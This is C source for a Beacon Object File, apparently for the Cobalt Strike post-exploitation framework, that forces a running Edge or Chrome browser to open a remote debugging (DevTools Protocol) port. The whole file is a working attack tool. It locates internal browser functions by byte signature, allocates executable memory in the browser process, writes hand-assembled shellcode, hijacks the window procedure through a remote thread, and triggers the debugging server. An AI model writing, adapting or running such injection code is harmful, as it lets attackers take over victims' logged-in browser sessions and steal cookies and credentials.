/* * CDP-Enabler-BOF * * Self-resolving BOF that enables CDP in a running Edge or Chrome instance * without relying on hardcoded RVAs. Installs a temporary remote WndProc * so StartRemoteDebuggingServer runs on the browser UI thread. * * Arguments: * * browser = "edge" or "chrome" * port = integer 9000-65535 */ #define WIN32_LEAN_AND_MEAN #include #include #include #include "beacon.h" WINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD, DWORD); WINBASEAPI BOOL WINAPI KERNEL32$Process32FirstW(HANDLE, LPPROCESSENTRY32W); WINBASEAPI BOOL WINAPI KERNEL32$Process32NextW(HANDLE, LPPROCESSENTRY32W); WINBASEAPI BOOL WINAPI KERNEL32$Module32FirstW(HANDLE, LPMODULEENTRY32W); WINBASEAPI BOOL WINAPI KERNEL32$Module32NextW(HANDLE, LPMODULEENTRY32W); WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD); WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE); WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAllocEx(HANDLE, LPVOID, SIZE_T, DWORD, DWORD); WINBASEAPI BOOL WINAPI KERNEL32$VirtualFreeEx(HANDLE, LPVOID, SIZE_T, DWORD); WINBASEAPI BOOL WINAPI KERNEL32$WriteProcessMemory(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*); WINBASEAPI BOOL WINAPI KERNEL32$ReadProcessMemory(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T*); WINBASEAPI HANDLE WINAPI KERNEL32$CreateRemoteThread(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); WINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject(HANDLE, DWORD); WINBASEAPI BOOL WINAPI KERNEL32$GetExitCodeThread(HANDLE, LPDWORD); WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(void); WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(void); WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE, DWORD, SIZE_T); WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, LPVOID); WINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleW(LPCWSTR); WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryW(LPCWSTR); WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE, LPCSTR); WINBASEAPI VOID WINAPI KERNEL32$GetSystemInfo(LPSYSTEM_INFO); WINUSERAPI HWND WINAPI USER32$FindWindowA(LPCSTR, LPCSTR); WINUSERAPI HWND WINAPI USER32$FindWindowExA(HWND, HWND, LPCSTR, LPCSTR); WINUSERAPI DWORD WINAPI USER32$GetWindowThreadProcessId(HWND, LPDWORD); WINUSERAPI HWND WINAPI USER32$GetParent(HWND); WINUSERAPI BOOL WINAPI USER32$IsWindowVisible(HWND); WINUSERAPI LRESULT WINAPI USER32$SendMessageA(HWND, UINT, WPARAM, LPARAM); WINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t*, const wchar_t*); #define CreateToolhelp32Snapshot KERNEL32$CreateToolhelp32Snapshot #define Process32FirstW KERNEL32$Process32FirstW #define Process32NextW KERNEL32$Process32NextW #define Module32FirstW KERNEL32$Module32FirstW #define Module32NextW KERNEL32$Module32NextW #define OpenProcess KERNEL32$OpenProcess #define CloseHandle KERNEL32$CloseHandle #define VirtualAllocEx KERNEL32$VirtualAllocEx #define VirtualFreeEx KERNEL32$VirtualFreeEx #define WriteProcessMemory KERNEL32$WriteProcessMemory #define ReadProcessMemory KERNEL32$ReadProcessMemory #define CreateRemoteThread KERNEL32$CreateRemoteThread #define WaitForSingleObject KERNEL32$WaitForSingleObject #define GetExitCodeThread KERNEL32$GetExitCodeThread #define GetLastError KERNEL32$GetLastError #define GetProcessHeap KERNEL32$GetProcessHeap #define HeapAlloc KERNEL32$HeapAlloc #define HeapFree KERNEL32$HeapFree #define GetModuleHandleW KERNEL32$GetModuleHandleW #define LoadLibraryW KERNEL32$LoadLibraryW #define GetProcAddress KERNEL32$GetProcAddress #define GetSystemInfo KERNEL32$GetSystemInfo #define FindWindowA USER32$FindWindowA #define FindWindowExA USER32$FindWindowExA #define GetWindowThreadProcessId USER32$GetWindowThreadProcessId #define GetParent USER32$GetParent #define IsWindowVisible USER32$IsWindowVisible #define SendMessageA USER32$SendMessageA #define lstrcmpiW MSVCRT$_wcsicmp #define WM_START_CDP_REMOTE (WM_USER + 0x2451) typedef struct { UINT64 hwnd; UINT64 new_wndproc; UINT64 set_window_long_ptr_a; UINT64 old_wndproc; } INSTALL_CTX; typedef struct { UINT64 old_wndproc; UINT64 set_window_long_ptr_a; UINT64 start_remote_debugging_server; UINT64 chrome_new; UINT64 factory_vtable; UINT32 port; UINT32 mode; } WNDPROC_CTX; typedef struct { const char* browser_name; const wchar_t* process_name; const wchar_t* module_name_w; const uint8_t* start_sig; const uint8_t* start_mask; size_t start_sig_len; const uint8_t* entry1_sig; const uint8_t* entry1_mask; size_t entry1_sig_len; } TARGET_CFG; static const unsigned char INSTALL_STUB[] = { 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x89, 0xCB, 0x48, 0x8B, 0x0B, 0x48, 0xC7, 0xC2, 0xFC, 0xFF, 0xFF, 0xFF, 0x4C, 0x8B, 0x43, 0x08, 0x48, 0x8B, 0x43, 0x10, 0xFF, 0xD0, 0x48, 0x89, 0x43, 0x18, 0x31, 0xC0, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3 }; static const unsigned char WNDPROC_STUB_TEMPLATE[] = { 0x53, 0x48, 0x83, 0xEC, 0x70, 0x48, 0xBB, 0,0,0,0,0,0,0,0, 0x48, 0xC7, 0xC2, 0xFC, 0xFF, 0xFF, 0xFF, 0x4C, 0x8B, 0x03, 0x48, 0x8B, 0x43, 0x08, 0xFF, 0xD0, 0x48, 0xC7, 0xC1, 0x10, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x43, 0x18, 0xFF, 0xD0, 0x48, 0x89, 0x44, 0x24, 0x20, 0x31, 0xC9, 0x48, 0x89, 0x48, 0x08, 0x48, 0x8B, 0x4B, 0x20, 0x48, 0x89, 0x08, 0x66, 0x8B, 0x4B, 0x28, 0x66, 0x89, 0x48, 0x08, 0x31, 0xC9, 0x48, 0x89, 0x4C, 0x24, 0x28, 0x48, 0x89, 0x4C, 0x24, 0x30, 0x48, 0x89, 0x4C, 0x24, 0x38, 0x48, 0x89, 0x4C, 0x24, 0x40, 0x48, 0x89, 0x4C, 0x24, 0x48, 0x48, 0x89, 0x4C, 0x24, 0x50, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0x48, 0x8D, 0x54, 0x24, 0x28, 0x4C, 0x8D, 0x44, 0x24, 0x40, 0x44, 0x8B, 0x4B, 0x2C, 0x48, 0x8B, 0x43, 0x10, 0xFF, 0xD0, 0x31, 0xC0, 0x48, 0x83, 0xC4, 0x70, 0x5B, 0xC3 }; static const uint8_t EDGE_START_SIG[] = { 0x41, 0x57, 0x41, 0x56, 0x41, 0x54, 0x56, 0x57, 0x55, 0x53, 0x48, 0x83, 0xEC, 0x50, 0x44, 0x89, 0xCD, 0x4C, 0x89, 0xC3, 0x48, 0x89, 0xD7, 0x48, 0x89, 0xCE, 0x48, 0x8B, 0x05, 0x9D }; static const uint8_t CHROME_START_SIG[] = { 0x41, 0x57, 0x41, 0x56, 0x56, 0x57, 0x55, 0x53, 0x48, 0x83, 0xEC, 0x48, 0x44, 0x89, 0xCD, 0x4D, 0x89, 0xC6, 0x48, 0x89, 0xD3, 0x48, 0x89, 0xCE, 0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00 }; static const uint8_t CHROME_START_MASK[] = { 1,1,1,1,1,1,1,1, 1,1,1,1, 1,1,1,1,1,1, 1,1,1,1,1,1, 1,1,1,0,0,0,0 }; /* Short unique operator new signature. */ static const uint8_t OPERATOR_NEW_SIG[] = { 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0xEB }; static const uint8_t OPERATOR_NEW_MASK[] = { 1,1,1,1,1,1,1,1,1,1 }; static const uint8_t VTABLE_ENTRY0_SIG[] = { 0x56, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x89, 0xCE, 0xF6, 0xC2, 0x01, 0x74, 0x08, 0x48, 0x89, 0xF1, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0xF0, 0x48, 0x83, 0xC4, 0x20, 0x5E, 0xC3 }; static const uint8_t VTABLE_ENTRY0_MASK[] = { 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1, 1,0,0,0,0,1,1,1, 1,1,1,1,1,1 }; /* Edge and Chrome each get their known-unique CreateForHttpServer signature. */ static const uint8_t EDGE_ENTRY1_SIG[] = { 0x48, 0x89, 0xD0, 0x0F, 0xB7, 0x51, 0x08, 0x48 }; static const uint8_t CHROME_ENTRY1_SIG[] = { 0x41, 0x57, 0x41, 0x56, 0x56, 0x57, 0x55, 0x53, 0x48, 0x81, 0xEC, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, 0xD6, 0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xE0, 0x48, 0x89, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0x59, 0x08, 0xB9, 0x38, 0x00, 0x00, 0x00, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0xC7, 0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x00, 0x00, 0x00, 0x00 }; static const uint8_t CHROME_ENTRY1_MASK[] = { 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1, 1,1,1,1,1,1,0,0,0,0, 1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1, 1,0,0,0,0, 1,1,1,1,1,1,0,0,0,0, 1,1,1,0,0,0,0 }; static void bof_memcpy(void* dst, const void* src, SIZE_T len) { SIZE_T i; unsigned char* d = (unsigned char*)dst; const unsigned char* s = (const unsigned char*)src; for (i = 0; i < len; i++) d[i] = s[i]; } static void bof_memset(void* dst, int c, SIZE_T len) { SIZE_T i; unsigned char* d = (unsigned char*)dst; for (i = 0; i < len; i++) d[i] = (unsigned char)c; } static void PatchQword(unsigned char* buf, SIZE_T off, UINT64 value) { bof_memcpy(buf + off, &value, sizeof(value)); } static int ascii_equals_literal(const char* s, int len, const char* lit) { int i = 0; if (!s || !lit) return 0; while (i < len && s[i] && lit[i]) { if (s[i] != lit[i]) return 0; i++; } if (lit[i] != 0) return 0; if (i < len && s[i] != 0) return 0; return 1; } static BOOL IsBrowserProcess(DWORD pid) { HWND hwnd = FindWindowA("Chrome_WidgetWin_1", NULL); while (hwnd) { DWORD window_pid = 0; GetWindowThreadProcessId(hwnd, &window_pid); if (window_pid == pid && GetParent(hwnd) == NULL && IsWindowVisible(hwnd)) { return TRUE; } hwnd = FindWindowExA(NULL, hwnd, "Chrome_WidgetWin_1", NULL); } return FALSE; } static DWORD FindBrowserProcess(const wchar_t* target_proc_name) { HANDLE hSnapshot; PROCESSENTRY32W pe; DWORD browser_pid = 0; hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) return 0; bof_memset(&pe, 0, sizeof(pe)); pe.dwSize = sizeof(pe); if (Process32FirstW(hSnapshot, &pe)) { do { if (lstrcmpiW(pe.szExeFile, target_proc_name) == 0) { if (IsBrowserProcess(pe.th32ProcessID)) { browser_pid = pe.th32ProcessID; break; } } } while (Process32NextW(hSnapshot, &pe)); } CloseHandle(hSnapshot); return browser_pid; } static HWND FindBrowserWindowForPid(DWORD pid) { HWND hwnd = FindWindowA("Chrome_WidgetWin_1", NULL); while (hwnd) { DWORD window_pid = 0; GetWindowThreadProcessId(hwnd, &window_pid); if (window_pid == pid && GetParent(hwnd) == NULL && IsWindowVisible(hwnd)) { return hwnd; } hwnd = FindWindowExA(NULL, hwnd, "Chrome_WidgetWin_1", NULL); } return NULL; } static BOOL GetRemoteModule(DWORD pid, const wchar_t* module_name, uintptr_t* base_out, DWORD* size_out) { HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid); MODULEENTRY32W me; BOOL ok = FALSE; if (snap == INVALID_HANDLE_VALUE) return FALSE; bof_memset(&me, 0, sizeof(me)); me.dwSize = sizeof(me); if (Module32FirstW(snap, &me)) { do { if (lstrcmpiW(me.szModule, module_name) == 0) { *base_out = (uintptr_t)me.modBaseAddr; *size_out = me.modBaseSize; ok = TRUE; break; } } while (Module32NextW(snap, &me)); } CloseHandle(snap); return ok; } static BOOL GetRemoteSystemProc(DWORD pid, const wchar_t* module_name, const char* proc_name, uintptr_t* out_addr) { HMODULE local_mod = GetModuleHandleW(module_name); FARPROC local_proc; uintptr_t local_rva; uintptr_t remote_base; DWORD remote_size; if (!local_mod) local_mod = LoadLibraryW(module_name); if (!local_mod) return FALSE; local_proc = GetProcAddress(local_mod, proc_name); if (!local_proc) return FALSE; local_rva = (uintptr_t)local_proc - (uintptr_t)local_mod; if (!GetRemoteModule(pid, module_name, &remote_base, &remote_size)) return FALSE; *out_addr = remote_base + local_rva; return TRUE; } static BOOL GetRemoteSectionInfo(HANDLE hProcess, uint8_t* module_base, uint8_t** text_base, SIZE_T* text_size, uint8_t** rdata_base, SIZE_T* rdata_size) { IMAGE_DOS_HEADER dos; IMAGE_NT_HEADERS64 nt; IMAGE_SECTION_HEADER section; SIZE_T read = 0; DWORD i; uint8_t* section_hdr; if (!ReadProcessMemory(hProcess, module_base, &dos, sizeof(dos), &read) || read != sizeof(dos)) return FALSE; if (dos.e_magic != IMAGE_DOS_SIGNATURE) return FALSE; if (!ReadProcessMemory(hProcess, module_base + dos.e_lfanew, &nt, sizeof(nt), &read) || read != sizeof(nt)) return FALSE; if (nt.Signature != IMAGE_NT_SIGNATURE) return FALSE; section_hdr = module_base + dos.e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER) + nt.FileHeader.SizeOfOptionalHeader; *text_base = NULL; *rdata_base = NULL; for (i = 0; i < nt.FileHeader.NumberOfSections; i++) { if (!ReadProcessMemory(hProcess, section_hdr + (i * sizeof(IMAGE_SECTION_HEADER)), §ion, sizeof(section), &read) || read != sizeof(section)) continue; if (section.Name[0] == '.' && section.Name[1] == 't' && section.Name[2] == 'e' && section.Name[3] == 'x' && section.Name[4] == 't') { *text_base = module_base + section.VirtualAddress; *text_size = section.Misc.VirtualSize; } else if (section.Name[0] == '.' && section.Name[1] == 'r' && section.Name[2] == 'd' && section.Name[3] == 'a' && section.Name[4] == 't' && section.Name[5] == 'a') { *rdata_base = module_base + section.VirtualAddress; *rdata_size = section.Misc.VirtualSize; } } return (*text_base != NULL && *rdata_base != NULL); } static void* ScanRemoteForSignature(HANDLE hProcess, uint8_t* start, SIZE_T size, const uint8_t* sig, const uint8_t* mask, SIZE_T sig_len) { const SIZE_T chunk = 0x10000; SIZE_T offset = 0; uint8_t* buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, chunk + sig_len); if (!buf) return NULL; while (offset < size) { SIZE_T to_read = size - offset; SIZE_T read = 0, end, i; if (to_read > chunk) to_read = chunk; if (!ReadProcessMemory(hProcess, start + offset, buf, to_read, &read) || read < sig_len) { offset += chunk; continue; } end = read - sig_len; for (i = 0; i <= end; i++) { BOOL match = TRUE; SIZE_T j; for (j = 0; j < sig_len && match; j++) { if (!mask || mask[j]) { if (buf[i + j] != sig[j]) match = FALSE; } } if (match) { void* found = start + offset + i; HeapFree(GetProcessHeap(), 0, buf); return found; } } offset += chunk; } HeapFree(GetProcessHeap(), 0, buf); return NULL; } static int ScanRemoteForAllSignatures(HANDLE hProcess, uint8_t* start, SIZE_T size, const uint8_t* sig, const uint8_t* mask, SIZE_T sig_len, uint64_t* out_matches, int max_matches) { const SIZE_T chunk = 0x10000; SIZE_T offset = 0; int count = 0; uint8_t* buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, chunk + sig_len); if (!buf) return 0; while (offset < size && count < max_matches) { SIZE_T to_read = size - offset; SIZE_T read = 0, end, i; if (to_read > chunk) to_read = chunk; if (!ReadProcessMemory(hProcess, start + offset, buf, to_read, &read) || read < sig_len) { offset += chunk; continue; } end = read - sig_len; for (i = 0; i <= end && count < max_matches; i++) { BOOL match = TRUE; SIZE_T j; for (j = 0; j < sig_len && match; j++) { if (!mask || mask[j]) { if (buf[i + j] != sig[j]) match = FALSE; } } if (match) { out_matches[count++] = (uint64_t)(uintptr_t)(start + offset + i); } } offset += chunk; } HeapFree(GetProcessHeap(), 0, buf); return count; } static void* FindVtableInRdata(HANDLE hProcess, uint8_t* rdata_base, SIZE_T rdata_size, uint64_t* destr_addrs, int destr_count, uint64_t entry1_addr, uint8_t* text_base, SIZE_T text_size) { const SIZE_T chunk = 0x10000; SIZE_T offset = 0; uint8_t* buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, chunk); if (!buf) return NULL; while (offset < rdata_size) { SIZE_T to_read = rdata_size - offset; SIZE_T read = 0, end, i; if (to_read > chunk) to_read = chunk; if (!ReadProcessMemory(hProcess, rdata_base + offset, buf, to_read, &read) || read < 16) { offset += chunk; continue; } end = (read >= 16) ? (read - 16) : 0; for (i = 0; i <= end; i += 8) { uint64_t first = *(uint64_t*)(buf + i); uint64_t second = *(uint64_t*)(buf + i + 8); if (second == entry1_addr && destr_count > 0) { int di; for (di = 0; di < destr_count; di++) { if (first == destr_addrs[di]) { void* found = rdata_base + offset + i; HeapFree(GetProcessHeap(), 0, buf); return found; } } } } offset += chunk; } if (destr_count <= 0) { int hits = 0; void* candidate = NULL; offset = 0; while (offset < rdata_size) { SIZE_T to_read = rdata_size - offset; SIZE_T read = 0, end, i; if (to_read > chunk) to_read = chunk; if (!ReadProcessMemory(hProcess, rdata_base + offset, buf, to_read, &read) || read < 16) { offset += chunk; continue; } end = (read >= 16) ? (read - 16) : 0; for (i = 0; i <= end; i += 8) { uint64_t first = *(uint64_t*)(buf + i); uint64_t second = *(uint64_t*)(buf + i + 8); if (second == entry1_addr && first >= (uint64_t)text_base && first < (uint64_t)(text_base + text_size)) { hits++; candidate = rdata_base + offset + i; if (hits > 1) break; } } if (hits > 1) break; offset += chunk; } if (hits == 1) { HeapFree(GetProcessHeap(), 0, buf); return candidate; } } HeapFree(GetProcessHeap(), 0, buf); return NULL; } static BOOL ResolveSymbolsRuntime(HANDLE hProcess, uintptr_t module_base, const TARGET_CFG* target, uintptr_t* start_server, uintptr_t* chrome_new, uintptr_t* factory_vtable) { uint8_t* text_base = NULL; uint8_t* rdata_base = NULL; SIZE_T text_size = 0, rdata_size = 0; void* entry1 = NULL; uint64_t destr_addrs[32]; int destr_count = 0; if (!GetRemoteSectionInfo(hProcess, (uint8_t*)module_base, &text_base, &text_size, &rdata_base, &rdata_size)) { BeaconPrintf(CALLBACK_ERROR, "[-] Failed to read remote PE sections"); return FALSE; } *start_server = (uintptr_t)ScanRemoteForSignature(hProcess, text_base, text_size, target->start_sig, target->start_mask, target->start_sig_len); if (!*start_server) { BeaconPrintf(CALLBACK_ERROR, "[-] StartRemoteDebuggingServer signature not found"); return FALSE; } *chrome_new = (uintptr_t)ScanRemoteForSignature(hProcess, text_base, text_size, OPERATOR_NEW_SIG, OPERATOR_NEW_MASK, sizeof(OPERATOR_NEW_SIG)); if (!*chrome_new) { BeaconPrintf(CALLBACK_ERROR, "[-] operator new signature not found"); return FALSE; } entry1 = ScanRemoteForSignature(hProcess, text_base, text_size, target->entry1_sig, target->entry1_mask, target->entry1_sig_len); if (!entry1) { BeaconPrintf(CALLBACK_ERROR, "[-] CreateForHttpServer signature not found"); return FALSE; } destr_count = ScanRemoteForAllSignatures( hProcess, text_base, text_size, VTABLE_ENTRY0_SIG, VTABLE_ENTRY0_MASK, sizeof(VTABLE_ENTRY0_SIG), destr_addrs, 32); *factory_vtable = (uintptr_t)FindVtableInRdata( hProcess, rdata_base, rdata_size, destr_addrs, destr_count, (uint64_t)(uintptr_t)entry1, text_base, text_size); if (!*factory_vtable) { BeaconPrintf(CALLBACK_ERROR, "[-] TCPServerSocketFactory vtable not found"); return FALSE; } return TRUE; } void go(char* args, int len) { TARGET_CFG targets[] = { { "edge", L"msedge.exe", L"msedge.dll", EDGE_START_SIG, NULL, sizeof(EDGE_START_SIG), EDGE_ENTRY1_SIG, NULL, sizeof(EDGE_ENTRY1_SIG) }, { "chrome", L"chrome.exe", L"chrome.dll", CHROME_START_SIG, CHROME_START_MASK, sizeof(CHROME_START_SIG), CHROME_ENTRY1_SIG, CHROME_ENTRY1_MASK, sizeof(CHROME_ENTRY1_SIG) } }; datap parser; TARGET_CFG* target = NULL; DWORD pid = 0; HWND hwnd; uintptr_t browser_base = 0; DWORD browser_size = 0; HANDLE hProcess = NULL; LPVOID remote_mem = NULL; SIZE_T total_size = 0x1000; unsigned char* local_page = NULL; SIZE_T written = 0; HANDLE hThread = NULL; INSTALL_CTX install_ctx; WNDPROC_CTX wnd_ctx; uintptr_t set_window_long_ptr_a = 0; uintptr_t install_stub_remote, wnd_stub_remote, install_ctx_remote, wnd_ctx_remote; uintptr_t start_server = 0, chrome_new = 0, factory_vtable = 0; DWORD exit_code = 0; int port = 0; int ti; char* browser_arg = NULL; int browser_len = 0; BeaconPrintf(CALLBACK_OUTPUT, "=== CDP-Enabler-BOF ==="); if (len <= 0) { BeaconPrintf(CALLBACK_ERROR, "[-] Missing required arguments. Expected: "); return; } BeaconDataParse(&parser, args, len); browser_arg = BeaconDataExtract(&parser, &browser_len); if (!browser_arg || browser_len <= 0) { BeaconPrintf(CALLBACK_ERROR, "[-] Missing required browser argument. Expected: "); return; } if (BeaconDataLength(&parser) < 4) { BeaconPrintf(CALLBACK_ERROR, "[-] Missing required port argument."); return; } port = BeaconDataInt(&parser); if (port <= 8999 || port > 65535) { BeaconPrintf(CALLBACK_ERROR, "[-] Invalid port: %d", port); return; } for (ti = 0; ti < (int)(sizeof(targets)/sizeof(targets[0])); ti++) { if (ascii_equals_literal(browser_arg, browser_len, targets[ti].browser_name)) { target = &targets[ti]; break; } } if (!target) { BeaconPrintf(CALLBACK_ERROR, "[-] Invalid browser argument. Expected 'chrome' or 'edge'."); return; } pid = FindBrowserProcess(target->process_name); if (!pid) { BeaconPrintf(CALLBACK_ERROR, "[-] %ls browser process was not found", target->process_name); return; } BeaconPrintf(CALLBACK_OUTPUT, "[+] Target = %ls, PID %lu", target->process_name, (unsigned long)pid); hwnd = FindBrowserWindowForPid(pid); if (!hwnd) { BeaconPrintf(CALLBACK_ERROR, "[-] Could not find top-level browser window"); return; } BeaconPrintf(CALLBACK_OUTPUT, "[+] Browser window 0x%p", hwnd); if (!GetRemoteModule(pid, target->module_name_w, &browser_base, &browser_size)) { BeaconPrintf(CALLBACK_ERROR, "[-] Could not locate target DLL in browser"); return; } BeaconPrintf(CALLBACK_OUTPUT, "[+] %ls base = 0x%p", target->module_name_w, (void*)browser_base); if (!GetRemoteSystemProc(pid, L"user32.dll", "SetWindowLongPtrA", &set_window_long_ptr_a)) { BeaconPrintf(CALLBACK_ERROR, "[-] Could not resolve remote SetWindowLongPtrA"); return; } hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid); if (!hProcess) { BeaconPrintf(CALLBACK_ERROR, "[-] OpenProcess failed: %lu", (unsigned long)GetLastError()); return; } if (!ResolveSymbolsRuntime(hProcess, browser_base, target, &start_server, &chrome_new, &factory_vtable)) { CloseHandle(hProcess); return; } BeaconPrintf(CALLBACK_OUTPUT, "[+] StartRemoteDebuggingServer = 0x%p", (void*)start_server); BeaconPrintf(CALLBACK_OUTPUT, "[+] operator new = 0x%p", (void*)chrome_new); BeaconPrintf(CALLBACK_OUTPUT, "[+] factory vtable = 0x%p", (void*)factory_vtable); remote_mem = VirtualAllocEx(hProcess, NULL, total_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!remote_mem) { BeaconPrintf(CALLBACK_ERROR, "[-] VirtualAllocEx failed: %lu", (unsigned long)GetLastError()); CloseHandle(hProcess); return; } local_page = (unsigned char*)HeapAlloc(GetProcessHeap(), 0, total_size); if (!local_page) { BeaconPrintf(CALLBACK_ERROR, "[-] HeapAlloc failed"); VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); CloseHandle(hProcess); return; } bof_memset(&install_ctx, 0, sizeof(install_ctx)); bof_memset(&wnd_ctx, 0, sizeof(wnd_ctx)); bof_memset(local_page, 0, total_size); install_ctx_remote = (uintptr_t)remote_mem + 0x000; wnd_ctx_remote = (uintptr_t)remote_mem + 0x040; install_stub_remote= (uintptr_t)remote_mem + 0x100; wnd_stub_remote = (uintptr_t)remote_mem + 0x180; install_ctx.hwnd = (UINT64)(uintptr_t)hwnd; install_ctx.new_wndproc = (UINT64)wnd_stub_remote; install_ctx.set_window_long_ptr_a = (UINT64)set_window_long_ptr_a; wnd_ctx.old_wndproc = 0; wnd_ctx.set_window_long_ptr_a = (UINT64)set_window_long_ptr_a; wnd_ctx.start_remote_debugging_server = (UINT64)start_server; wnd_ctx.chrome_new = (UINT64)chrome_new; wnd_ctx.factory_vtable = (UINT64)factory_vtable; wnd_ctx.port = (UINT32)port; wnd_ctx.mode = 0; bof_memcpy(local_page + 0x000, &install_ctx, sizeof(install_ctx)); bof_memcpy(local_page + 0x040, &wnd_ctx, sizeof(wnd_ctx)); bof_memcpy(local_page + 0x100, INSTALL_STUB, sizeof(INSTALL_STUB)); bof_memcpy(local_page + 0x180, WNDPROC_STUB_TEMPLATE, sizeof(WNDPROC_STUB_TEMPLATE)); PatchQword(local_page + 0x180, 7, (UINT64)wnd_ctx_remote); if (!WriteProcessMemory(hProcess, remote_mem, local_page, total_size, &written) || written != total_size) { BeaconPrintf(CALLBACK_ERROR, "[-] WriteProcessMemory failed: %lu", (unsigned long)GetLastError()); HeapFree(GetProcessHeap(), 0, local_page); VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); CloseHandle(hProcess); return; } hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)install_stub_remote, (LPVOID)install_ctx_remote, 0, NULL); if (!hThread) { BeaconPrintf(CALLBACK_ERROR, "[-] CreateRemoteThread(install) failed: %lu", (unsigned long)GetLastError()); HeapFree(GetProcessHeap(), 0, local_page); VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); CloseHandle(hProcess); return; } WaitForSingleObject(hThread, 5000); GetExitCodeThread(hThread, &exit_code); CloseHandle(hThread); hThread = NULL; BeaconPrintf(CALLBACK_OUTPUT, "[+] Install stub exit code: %lu", (unsigned long)exit_code); if (!ReadProcessMemory(hProcess, (LPCVOID)install_ctx_remote, &install_ctx, sizeof(install_ctx), &written) || written != sizeof(install_ctx)) { BeaconPrintf(CALLBACK_ERROR, "[-] ReadProcessMemory(install_ctx) failed: %lu", (unsigned long)GetLastError()); HeapFree(GetProcessHeap(), 0, local_page); VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); CloseHandle(hProcess); return; } BeaconPrintf(CALLBACK_OUTPUT, "[+] Original WndProc = 0x%p", (void*)(uintptr_t)install_ctx.old_wndproc); wnd_ctx.old_wndproc = install_ctx.old_wndproc; if (!WriteProcessMemory(hProcess, (LPVOID)wnd_ctx_remote, &wnd_ctx, sizeof(wnd_ctx), &written) || written != sizeof(wnd_ctx)) { BeaconPrintf(CALLBACK_ERROR, "[-] WriteProcessMemory(wnd_ctx) failed: %lu", (unsigned long)GetLastError()); HeapFree(GetProcessHeap(), 0, local_page); VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); CloseHandle(hProcess); return; } BeaconPrintf(CALLBACK_OUTPUT, "[*] Sending trigger message 0x%X", WM_START_CDP_REMOTE); SendMessageA(hwnd, WM_START_CDP_REMOTE, 0, 0); BeaconPrintf(CALLBACK_OUTPUT, "[+] Trigger sent. Validate with netstat or curl http://localhost:%d/json/version", port); HeapFree(GetProcessHeap(), 0, local_page); VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); CloseHandle(hProcess); }